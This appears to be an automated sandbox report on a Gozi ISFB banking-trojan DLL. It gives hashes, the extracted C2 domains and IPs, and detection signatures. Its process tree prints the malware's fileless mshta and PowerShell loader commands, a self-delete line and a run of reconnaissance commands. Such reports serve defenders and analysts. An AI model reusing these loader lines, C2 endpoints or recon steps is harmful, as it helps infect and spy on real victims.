Analysis

  • max time kernel
    152s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    14/06/2022, 08:41

General

  • Target

    62a8495f3b293.dll

  • Size

    436KB

  • MD5

    dd165240f5a2de250727eb47e458d7db

  • SHA1

    2748f39c430664f6c4c9c1700f1b7d05908d8dfd

  • SHA256

    ce3d465a139b6c7ca2b3414a08230b50b1e2e341310113ada498c2aecdce1d96

  • SHA512

    5e33d29014cb99754bacd08b766e3f611ed7711c217b4cb26bbc7836a738e06a9a88d960b916e6148320f0d0ba6a4583a2ed1f600af4ea696af30d1ddfec347d

Malware Config

Extracted

Family

gozi_ifsb

Botnet

3000

C2

config.edge.skype.com

194.76.226.15

109.230.199.114

Attributes
  • base_path

    /drew/

  • build

    250235

  • exe_type

    loader

  • extension

    .jlk

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi_ifsb

Botnet

3000

C2

xmhomestilesh.at

geodezhols.at

185.189.151.35

194.76.225.96

Attributes
  • base_path

    /images/

  • build

    250235

  • exe_type

    worker

  • extension

    .jlk

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

  • suricata: ET MALWARE Ursnif Payload Request (cook32.rar)

    suricata: ET MALWARE Ursnif Payload Request (cook32.rar)

  • suricata: ET MALWARE Ursnif Payload Request (cook64.rar)

    suricata: ET MALWARE Ursnif Payload Request (cook64.rar)

  • suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)

    suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 7 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Discovers systems in the same network 1 TTPs 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
      PID:3504
    • C:\Windows\System32\RuntimeBroker.exe
      C:\Windows\System32\RuntimeBroker.exe -Embedding
      1⤵
        PID:4104
      • C:\Windows\System32\RuntimeBroker.exe
        C:\Windows\System32\RuntimeBroker.exe -Embedding
        1⤵
          PID:3812
        • C:\Windows\Explorer.EXE
          C:\Windows\Explorer.EXE
          1⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2772
          • C:\Windows\system32\rundll32.exe
            rundll32.exe C:\Users\Admin\AppData\Local\Temp\62a8495f3b293.dll,#1
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3912
            • C:\Windows\SysWOW64\rundll32.exe
              rundll32.exe C:\Users\Admin\AppData\Local\Temp\62a8495f3b293.dll,#1
              3⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              PID:4668
          • C:\Windows\System32\mshta.exe
            "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Y54y='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Y54y).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\10AAFBA1-2FF6-C22D-3944-D3167DB8B7AA\\\ManagerPack'));if(!window.flag)close()</script>"
            2⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:456
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name xqybmqw -value gp; new-alias -name rssuhdah -value iex; rssuhdah ([System.Text.Encoding]::ASCII.GetString((xqybmqw "HKCU:Software\AppDataLow\Software\Microsoft\10AAFBA1-2FF6-C22D-3944-D3167DB8B7AA").GameStop))
              3⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:4088
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\azfzjlhg\azfzjlhg.cmdline"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1832
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8FAD.tmp" "c:\Users\Admin\AppData\Local\Temp\azfzjlhg\CSCA97070133A86490688214EDFC814C8F.TMP"
                  5⤵
                    PID:4860
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kzvh0w4v\kzvh0w4v.cmdline"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4812
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9124.tmp" "c:\Users\Admin\AppData\Local\Temp\kzvh0w4v\CSCA14F2C892A28466E9AFEF346DAE60E5.TMP"
                    5⤵
                      PID:1144
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\62a8495f3b293.dll"
                2⤵
                • Suspicious use of SetThreadContext
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of WriteProcessMemory
                PID:4068
                • C:\Windows\system32\PING.EXE
                  ping localhost -n 5
                  3⤵
                  • Runs ping.exe
                  • Suspicious behavior: CmdExeWriteProcessMemorySpam
                  PID:4728
              • C:\Windows\system32\cmd.exe
                cmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\3A5.bin1"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3224
                • C:\Windows\system32\systeminfo.exe
                  systeminfo.exe
                  3⤵
                  • Gathers system information
                  PID:4196
              • C:\Windows\syswow64\cmd.exe
                "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
                2⤵
                  PID:2468
                • C:\Windows\system32\cmd.exe
                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"
                  2⤵
                    PID:2416
                  • C:\Windows\system32\cmd.exe
                    cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1392
                    • C:\Windows\system32\net.exe
                      net view
                      3⤵
                      • Discovers systems in the same network
                      PID:1988
                  • C:\Windows\system32\cmd.exe
                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"
                    2⤵
                      PID:1436
                    • C:\Windows\system32\cmd.exe
                      cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2628
                      • C:\Windows\system32\nslookup.exe
                        nslookup 127.0.0.1
                        3⤵
                          PID:4216
                      • C:\Windows\system32\cmd.exe
                        cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"
                        2⤵
                          PID:2444
                        • C:\Windows\system32\cmd.exe
                          cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"
                          2⤵
                            PID:4504
                            • C:\Windows\system32\tasklist.exe
                              tasklist.exe /SVC
                              3⤵
                              • Enumerates processes with tasklist
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3928
                          • C:\Windows\system32\cmd.exe
                            cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"
                            2⤵
                              PID:4032
                            • C:\Windows\system32\cmd.exe
                              cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"
                              2⤵
                                PID:1468
                                • C:\Windows\system32\driverquery.exe
                                  driverquery.exe
                                  3⤵
                                    PID:4892
                                • C:\Windows\system32\cmd.exe
                                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"
                                  2⤵
                                    PID:4936
                                  • C:\Windows\system32\cmd.exe
                                    cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"
                                    2⤵
                                      PID:1344
                                      • C:\Windows\system32\reg.exe
                                        reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
                                        3⤵
                                          PID:4604
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"
                                        2⤵
                                          PID:3544
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C "net config workstation >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"
                                          2⤵
                                            PID:3896
                                            • C:\Windows\system32\net.exe
                                              net config workstation
                                              3⤵
                                                PID:548
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 config workstation
                                                  4⤵
                                                    PID:112
                                              • C:\Windows\system32\cmd.exe
                                                cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"
                                                2⤵
                                                  PID:1112
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /C "nltest /domain_trusts >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"
                                                  2⤵
                                                    PID:4172
                                                    • C:\Windows\system32\nltest.exe
                                                      nltest /domain_trusts
                                                      3⤵
                                                        PID:2016
                                                    • C:\Windows\system32\cmd.exe
                                                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"
                                                      2⤵
                                                        PID:1964
                                                      • C:\Windows\system32\cmd.exe
                                                        cmd /C "nltest /domain_trusts /all_trusts >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"
                                                        2⤵
                                                          PID:1792
                                                          • C:\Windows\system32\nltest.exe
                                                            nltest /domain_trusts /all_trusts
                                                            3⤵
                                                              PID:4548
                                                          • C:\Windows\system32\cmd.exe
                                                            cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"
                                                            2⤵
                                                              PID:2328
                                                            • C:\Windows\system32\cmd.exe
                                                              cmd /C "net view /all /domain >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"
                                                              2⤵
                                                                PID:5076
                                                                • C:\Windows\system32\net.exe
                                                                  net view /all /domain
                                                                  3⤵
                                                                  • Discovers systems in the same network
                                                                  PID:5004
                                                              • C:\Windows\system32\cmd.exe
                                                                cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"
                                                                2⤵
                                                                  PID:4668
                                                                • C:\Windows\system32\cmd.exe
                                                                  cmd /C "net view /all >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"
                                                                  2⤵
                                                                    PID:428
                                                                    • C:\Windows\system32\net.exe
                                                                      net view /all
                                                                      3⤵
                                                                      • Discovers systems in the same network
                                                                      PID:2864
                                                                  • C:\Windows\system32\cmd.exe
                                                                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\3A5.bin1"
                                                                    2⤵
                                                                      PID:1136
                                                                    • C:\Windows\system32\cmd.exe
                                                                      cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\3A5.bin1 > C:\Users\Admin\AppData\Local\Temp\3A5.bin & del C:\Users\Admin\AppData\Local\Temp\3A5.bin1"
                                                                      2⤵
                                                                        PID:5008

                                                                    Network

                                                                          MITRE ATT&CK Enterprise v6

                                                                          Replay Monitor

                                                                          Loading Replay Monitor...

                                                                          Downloads

                                                                          • C:\Users\Admin\AppData\Local\Temp\3A5.bin

                                                                            Filesize

                                                                            64KB

                                                                            MD5

                                                                            f385c11d1d85fd856e3140eede4c1fd5

                                                                            SHA1

                                                                            825fa88d5918ca9f59d0e1cfd6b55923b92b5bfb

                                                                            SHA256

                                                                            f34dec845c7bb72f5b59fbb12b4eaaae0c680988222c2be8cdc39de579b75257

                                                                            SHA512

                                                                            91860c791075edcab8d71f6c9126183d3a895c21fd92d04f1ae2cb65548da2cf9b6e3578af074e883b467b85840b307c1d43cfe0d3a402e16b33bbf39759433d

                                                                          • C:\Users\Admin\AppData\Local\Temp\3A5.bin1

                                                                            Filesize

                                                                            2KB

                                                                            MD5

                                                                            c2056f5feca53004062734e8b01940c6

                                                                            SHA1

                                                                            b185c48cd28ff474f691a6ca4450cca7f2ae3a17

                                                                            SHA256

                                                                            9fdd505100c8c9da5f9646249f2b8fc204b095995bc3d53f57909940cbbb1fc6

                                                                            SHA512

                                                                            18b7519c493a051922ebe47a90b79bf571a476903969bdf4fb7d74545e9af3170f78deb306af7db2838d101a7ad983221a5b702b6fc2a379b998289cc9c4a0ec

                                                                          • C:\Users\Admin\AppData\Local\Temp\3A5.bin1

                                                                            Filesize

                                                                            2KB

                                                                            MD5

                                                                            c2056f5feca53004062734e8b01940c6

                                                                            SHA1

                                                                            b185c48cd28ff474f691a6ca4450cca7f2ae3a17

                                                                            SHA256

                                                                            9fdd505100c8c9da5f9646249f2b8fc204b095995bc3d53f57909940cbbb1fc6

                                                                            SHA512

                                                                            18b7519c493a051922ebe47a90b79bf571a476903969bdf4fb7d74545e9af3170f78deb306af7db2838d101a7ad983221a5b702b6fc2a379b998289cc9c4a0ec

                                                                          • C:\Users\Admin\AppData\Local\Temp\3A5.bin1

                                                                            Filesize

                                                                            2KB

                                                                            MD5

                                                                            da0168d9f3298b0c635b86d9cefa22bd

                                                                            SHA1

                                                                            5f990bc7cde0bcec544db3eeb1035e58c5afb183

                                                                            SHA256

                                                                            26626d34919192f80d838426e4bc2172cdbda4e1d5dd69cf8b2352961f24ee39

                                                                            SHA512

                                                                            2c0812af582e60d0b9750c89c4e6a525ea77f8c00372ebad2bbe6c213fdace14dd5cb0c4e507c0f2ace0f84ef06773269aa2ba0949784b476a0029c863ec3a28

                                                                          • C:\Users\Admin\AppData\Local\Temp\3A5.bin1

                                                                            Filesize

                                                                            2KB

                                                                            MD5

                                                                            6936deb5f0deaa53f40d95075420bafd

                                                                            SHA1

                                                                            8b1cf2b9aa05c7dc3eedebe157262889c077320c

                                                                            SHA256

                                                                            1f7e2f5e56d3951d4569beeb22ec06a604d499f79a472939c7b62ffe07d21a80

                                                                            SHA512

                                                                            76e869b02b6585f579c3dce9fee91660541adcce840c43288da770a10f307986b15afd65b6891324ce8619ba44053416ced39a5dbeda23211a5fc6bb7a8ab80f

                                                                          • C:\Users\Admin\AppData\Local\Temp\3A5.bin1

                                                                            Filesize

                                                                            2KB

                                                                            MD5

                                                                            6936deb5f0deaa53f40d95075420bafd

                                                                            SHA1

                                                                            8b1cf2b9aa05c7dc3eedebe157262889c077320c

                                                                            SHA256

                                                                            1f7e2f5e56d3951d4569beeb22ec06a604d499f79a472939c7b62ffe07d21a80

                                                                            SHA512

                                                                            76e869b02b6585f579c3dce9fee91660541adcce840c43288da770a10f307986b15afd65b6891324ce8619ba44053416ced39a5dbeda23211a5fc6bb7a8ab80f

                                                                          • C:\Users\Admin\AppData\Local\Temp\3A5.bin1

                                                                            Filesize

                                                                            9KB

                                                                            MD5

                                                                            9eb0dcac4ef27379caef5e9cad366329

                                                                            SHA1

                                                                            1ecd6f228138d0266e2af417288012aa5e5c0365

                                                                            SHA256

                                                                            6e5073541239287d1a3bac2c6deb8fb039257b7bc3fbb6152be96832aad74696

                                                                            SHA512

                                                                            40b9b7f2da71e5068185740b0e0f9216ba01b947d527e673e53aa6fdfc26b9ab01077c11e434b6cace9218af2f9aa19d3498f802d57a591fbcb6b3599a832753

                                                                          • C:\Users\Admin\AppData\Local\Temp\3A5.bin1

                                                                            Filesize

                                                                            9KB

                                                                            MD5

                                                                            9eb0dcac4ef27379caef5e9cad366329

                                                                            SHA1

                                                                            1ecd6f228138d0266e2af417288012aa5e5c0365

                                                                            SHA256

                                                                            6e5073541239287d1a3bac2c6deb8fb039257b7bc3fbb6152be96832aad74696

                                                                            SHA512

                                                                            40b9b7f2da71e5068185740b0e0f9216ba01b947d527e673e53aa6fdfc26b9ab01077c11e434b6cace9218af2f9aa19d3498f802d57a591fbcb6b3599a832753

                                                                          • C:\Users\Admin\AppData\Local\Temp\3A5.bin1

                                                                            Filesize

                                                                            35KB

                                                                            MD5

                                                                            34f82ae99175e82d091ce5a2bcbf4852

                                                                            SHA1

                                                                            a6b0a24ffbbb2abdd281acbb091769834ecbab34

                                                                            SHA256

                                                                            5dc974580407d8555a77650ea9c9b9907bb30e03f711c17b6deff12229595013

                                                                            SHA512

                                                                            d95a61f42e1637a1d9dec9de0fd684f68531f7f7e7f3ae006647a1853da5a69be63168ff8e74abde086b9c7e9ca0488bf189e5ece6cf608e9f7aa852971c2b6f

                                                                          • C:\Users\Admin\AppData\Local\Temp\3A5.bin1

                                                                            Filesize

                                                                            35KB

                                                                            MD5

                                                                            34f82ae99175e82d091ce5a2bcbf4852

                                                                            SHA1

                                                                            a6b0a24ffbbb2abdd281acbb091769834ecbab34

                                                                            SHA256

                                                                            5dc974580407d8555a77650ea9c9b9907bb30e03f711c17b6deff12229595013

                                                                            SHA512

                                                                            d95a61f42e1637a1d9dec9de0fd684f68531f7f7e7f3ae006647a1853da5a69be63168ff8e74abde086b9c7e9ca0488bf189e5ece6cf608e9f7aa852971c2b6f

                                                                          • C:\Users\Admin\AppData\Local\Temp\3A5.bin1

                                                                            Filesize

                                                                            64KB

                                                                            MD5

                                                                            1dfd53cb466029730934020c2a1f82b3

                                                                            SHA1

                                                                            5163079504160479f418de2eee92a6f193b11ff9

                                                                            SHA256

                                                                            af7e2580ac9425ed3cfc4859af9efed3d81d145a4dd7dd2c7fb7bcc5712c3545

                                                                            SHA512

                                                                            98dba5e58731602294506c5d758e22443c42c727c8125d785e24921aa3d5e618ce6454d70e61641bc10300f74d172c5697bcac4a0a6c19871f4b87bbd031c167

                                                                          • C:\Users\Admin\AppData\Local\Temp\3A5.bin1

                                                                            Filesize

                                                                            64KB

                                                                            MD5

                                                                            1dfd53cb466029730934020c2a1f82b3

                                                                            SHA1

                                                                            5163079504160479f418de2eee92a6f193b11ff9

                                                                            SHA256

                                                                            af7e2580ac9425ed3cfc4859af9efed3d81d145a4dd7dd2c7fb7bcc5712c3545

                                                                            SHA512

                                                                            98dba5e58731602294506c5d758e22443c42c727c8125d785e24921aa3d5e618ce6454d70e61641bc10300f74d172c5697bcac4a0a6c19871f4b87bbd031c167

                                                                          • C:\Users\Admin\AppData\Local\Temp\3A5.bin1

                                                                            Filesize

                                                                            64KB

                                                                            MD5

                                                                            2ef28e8fece329ee4ee293a81292fbc9

                                                                            SHA1

                                                                            6aec54d46bae21f2594dc2f5ed17bc032a97d09f

                                                                            SHA256

                                                                            a10c29351444d5de8d9c8f7db684b63b1e565dc99001ae227ca95ddc17e3bfdf

                                                                            SHA512

                                                                            aa23dba60d508bcbab1809ebb82b39c3d249e538b6dde5600e5ddf2fbb3ac236cf4b4fd8ec0f09d8b0973f65510ec49a1c3d585349dfaa984f5698554b0a4d03

                                                                          • C:\Users\Admin\AppData\Local\Temp\3A5.bin1

                                                                            Filesize

                                                                            64KB

                                                                            MD5

                                                                            2ef28e8fece329ee4ee293a81292fbc9

                                                                            SHA1

                                                                            6aec54d46bae21f2594dc2f5ed17bc032a97d09f

                                                                            SHA256

                                                                            a10c29351444d5de8d9c8f7db684b63b1e565dc99001ae227ca95ddc17e3bfdf

                                                                            SHA512

                                                                            aa23dba60d508bcbab1809ebb82b39c3d249e538b6dde5600e5ddf2fbb3ac236cf4b4fd8ec0f09d8b0973f65510ec49a1c3d585349dfaa984f5698554b0a4d03

                                                                          • C:\Users\Admin\AppData\Local\Temp\3A5.bin1

                                                                            Filesize

                                                                            64KB

                                                                            MD5

                                                                            ff6e3f71d4393e92c4eccebad279c0a8

                                                                            SHA1

                                                                            9a5f91eb58689c7ec443fa6c14b5dffbd812a1bd

                                                                            SHA256

                                                                            1b19f27e3395a944fad854391393f500f6111d70427722b14812beeac38df393

                                                                            SHA512

                                                                            4e5d1fca02f9f46daaf0be76afa27111d2eaf224dd2f66f4c62a19753a4b6a7c7f7512600c1a6363874cee7fdc617ea46beb2c46d1cf7a5f6fdefa59c734db63

                                                                          • C:\Users\Admin\AppData\Local\Temp\3A5.bin1

                                                                            Filesize

                                                                            64KB

                                                                            MD5

                                                                            f42baf2201b1f3edb449d9aa7c640ccf

                                                                            SHA1

                                                                            157a8cb4b64f8bebbe132a5d55010f288be520f3

                                                                            SHA256

                                                                            853cd220124b265cc4f51aaf7d6c637be58a2102d0aa5d87217baa62d1270a3a

                                                                            SHA512

                                                                            384e38504e7734ea8c67bc370f9267a4e8aae093bbc176eabf254a1b268b05d1e0b5975b933b96dbd2c5a3499d7441a31306675204f229a9f2019422c9bea7ac

                                                                          • C:\Users\Admin\AppData\Local\Temp\3A5.bin1

                                                                            Filesize

                                                                            64KB

                                                                            MD5

                                                                            10acab33899f0260cfd4f7e55c277502

                                                                            SHA1

                                                                            934362e510927b4abcc4bca29fa541b00628c6ee

                                                                            SHA256

                                                                            8136ff6f6d5ef2ac8c304b424814025de1c186690f1a707c472c1e5607e7b9ae

                                                                            SHA512

                                                                            5afb7957cef7bf58911ae5978aa45808ef654b8b0f05d5c3c0b87b226f44695eb691fe4eafb11f024460929376cb737e4233af243b580f98d2c6534ddb57257c

                                                                          • C:\Users\Admin\AppData\Local\Temp\3A5.bin1

                                                                            Filesize

                                                                            64KB

                                                                            MD5

                                                                            f385c11d1d85fd856e3140eede4c1fd5

                                                                            SHA1

                                                                            825fa88d5918ca9f59d0e1cfd6b55923b92b5bfb

                                                                            SHA256

                                                                            f34dec845c7bb72f5b59fbb12b4eaaae0c680988222c2be8cdc39de579b75257

                                                                            SHA512

                                                                            91860c791075edcab8d71f6c9126183d3a895c21fd92d04f1ae2cb65548da2cf9b6e3578af074e883b467b85840b307c1d43cfe0d3a402e16b33bbf39759433d

                                                                          • C:\Users\Admin\AppData\Local\Temp\RES8FAD.tmp

                                                                            Filesize

                                                                            1KB

                                                                            MD5

                                                                            296128f0b736f5f1a6a02f87e2b5ded7

                                                                            SHA1

                                                                            8b66699f6921bf01f7208f6f484cf824e6ebefc1

                                                                            SHA256

                                                                            6f49a27c7e6ba24ff62d36846e9512b22af94b59706deb0fa1473c9d7727d9c3

                                                                            SHA512

                                                                            5fe59de22d07ab6fb97940dda40b171c080c29166c023829c39cbf58e652626be784786030040b7f553f296d6158220a8a9f041f6a0d15be9dbb751b291df40d

                                                                          • C:\Users\Admin\AppData\Local\Temp\RES9124.tmp

                                                                            Filesize

                                                                            1KB

                                                                            MD5

                                                                            c3f19eea22a06bd55a1ffd142174f6ac

                                                                            SHA1

                                                                            7ac196531146b0dd8fec4614248b7521e9094830

                                                                            SHA256

                                                                            b88257c929d74065c31320a9eefe6b02bccfb4d883a2ba2c49a90e2c96df5b2b

                                                                            SHA512

                                                                            96b301634119b52d1b60d9e9bca0953dc7a89ac1259f66290357411c7811cfd39498946dacebc1d02e04b803bc2b963c5f3cfed453845c528aec7771d46737b2

                                                                          • C:\Users\Admin\AppData\Local\Temp\azfzjlhg\azfzjlhg.dll

                                                                            Filesize

                                                                            3KB

                                                                            MD5

                                                                            e9280abc48f93f94e4300cff7ffe34dd

                                                                            SHA1

                                                                            1be6f35a3a1b6be99b3fdc8815914a1b3e583e9f

                                                                            SHA256

                                                                            08eedd78d0552a09917d5b1d9535bc6e406cfc1672831dced6eec891581df190

                                                                            SHA512

                                                                            1ce949ef228bef4926a42b6657e63b956b6982f751b266cbeed8eb1b6c0735482d1c010dfc364d574e9bac7f8d7ccdd56e51ede5359d7710dbfacb22ec000aa4

                                                                          • C:\Users\Admin\AppData\Local\Temp\kzvh0w4v\kzvh0w4v.dll

                                                                            Filesize

                                                                            3KB

                                                                            MD5

                                                                            6bbf31bb69ba6d8c16631f77380be6c5

                                                                            SHA1

                                                                            3da825d8473fc2720c722f974966d6dbb8d1f198

                                                                            SHA256

                                                                            f6b60e55effad05ef1166fa7ca014e3a8fcfca2eef4e24e667eaf03080ba3d9a

                                                                            SHA512

                                                                            c9a085466d63965528c2bd527b0974c59ec9d57748dcbdc0d9ce79c687ba545355854432a27f775ba3543b3420a55798298ecb673cfc8762650575f5783c74be

                                                                          • \??\c:\Users\Admin\AppData\Local\Temp\azfzjlhg\CSCA97070133A86490688214EDFC814C8F.TMP

                                                                            Filesize

                                                                            652B

                                                                            MD5

                                                                            746ac370f8032c4af4dee4628308f54c

                                                                            SHA1

                                                                            0f49b5c2d89f7b4a50e4de793aebf757403f0d22

                                                                            SHA256

                                                                            221702a2d2f3bc829b4ecd7ee79cc655d8b42621b8cd01ef7a11c3a114740e96

                                                                            SHA512

                                                                            a283bdebdf69a1a211dc0d89cfb5869db4b7a82b4761aba644291f858e07d56b317483875e88581e704582c2fd260050298cafd25167ffdc6cddfe2fc8355aa4

                                                                          • \??\c:\Users\Admin\AppData\Local\Temp\azfzjlhg\azfzjlhg.0.cs

                                                                            Filesize

                                                                            408B

                                                                            MD5

                                                                            f820213893ae01ec4cfea63472d9bee7

                                                                            SHA1

                                                                            3f52e992772d4b98f56666d6c018d33c8499f8fb

                                                                            SHA256

                                                                            320df24e318288a7c53091fcf36ba34e2717e520d504e46d0c60538b04928c9b

                                                                            SHA512

                                                                            1e9fd857a3c6ffd7d6b291b156656b2c6983617849941e3901519703e4cb126c1f31d9233459fc0792acc985642b85772f03d1aa7f9de387d0b5fbf641bc26fe

                                                                          • \??\c:\Users\Admin\AppData\Local\Temp\azfzjlhg\azfzjlhg.cmdline

                                                                            Filesize

                                                                            369B

                                                                            MD5

                                                                            8de04e18a51dad97b070f9064c7c344b

                                                                            SHA1

                                                                            10214da31427654f48a6b4de2d8b51e4d60f3ac3

                                                                            SHA256

                                                                            70e8ade4c72ab9597cfb76a1604e631b8a596aa69d8bb3d34c723323f987e201

                                                                            SHA512

                                                                            da3b7d5bbbbce2a0080f7a862838557a942880a8481c8c36c371f9e84e1d92e2ab31739a9b3be3972e7b7af018c46f4406879ff3b777270943094d14faa774ae

                                                                          • \??\c:\Users\Admin\AppData\Local\Temp\kzvh0w4v\CSCA14F2C892A28466E9AFEF346DAE60E5.TMP

                                                                            Filesize

                                                                            652B

                                                                            MD5

                                                                            62a421aa9ff10e87146159c72bcb9465

                                                                            SHA1

                                                                            1bd1ce690e30d616efc6aefbb27eed801d33eb2e

                                                                            SHA256

                                                                            3d3db5a7fdbc275a4d4ac2bc66f63c5acf2b7e52e289bf10665f09819c26a01d

                                                                            SHA512

                                                                            a522bd2c1fcf3c212cbb46ed52cf47b801862a3ab9baa4f1d1c46a4d9660c0c29c2e70b20836c90a587f53b5405a90d63feda2bfae3ef73c323d8e4393d8b376

                                                                          • \??\c:\Users\Admin\AppData\Local\Temp\kzvh0w4v\kzvh0w4v.0.cs

                                                                            Filesize

                                                                            381B

                                                                            MD5

                                                                            0077218343b3a9ec4b12f1fd77ef52dc

                                                                            SHA1

                                                                            0b8e186a73e6403d5a1476ec828f338019ba5c9e

                                                                            SHA256

                                                                            83736f1996108f1f4ec03e27b8ecd278547bb2539ed7fe43ee81a9530c40befa

                                                                            SHA512

                                                                            e02e64b413e176a985ea54746a01e9bf4c5ae57bca87e3ae6f670b9c12ddafa5bb9282029d53a9393cd5dbce8889002e054f5d14611baa5bd3aefd0ed381db9e

                                                                          • \??\c:\Users\Admin\AppData\Local\Temp\kzvh0w4v\kzvh0w4v.cmdline

                                                                            Filesize

                                                                            369B

                                                                            MD5

                                                                            020523e619e2c4cf0afd6644c2adaf96

                                                                            SHA1

                                                                            61d0d1574036f501948093279891efe2d3a0b309

                                                                            SHA256

                                                                            5bcbbe7297b7b6acb4de144eabef738becb364207054919b4ae9118d93a57c3c

                                                                            SHA512

                                                                            c2b5e67b72c012539e8818c0f6cc4c1a5c9efc9cdc48b3bdc0e38bc8c2b5972cc63b330c8353ce0fd3e07959b2f5b6de0890bf1b416fdbfec818000fa2f80da2

                                                                          • memory/2468-172-0x0000000000A90000-0x0000000000B26000-memory.dmp

                                                                            Filesize

                                                                            600KB

                                                                          • memory/2468-168-0x0000000000FF6B20-0x0000000000FF6B24-memory.dmp

                                                                            Filesize

                                                                            4B

                                                                          • memory/2772-174-0x0000000008E70000-0x0000000008FAA000-memory.dmp

                                                                            Filesize

                                                                            1.2MB

                                                                          • memory/2772-178-0x0000000008310000-0x00000000083B3000-memory.dmp

                                                                            Filesize

                                                                            652KB

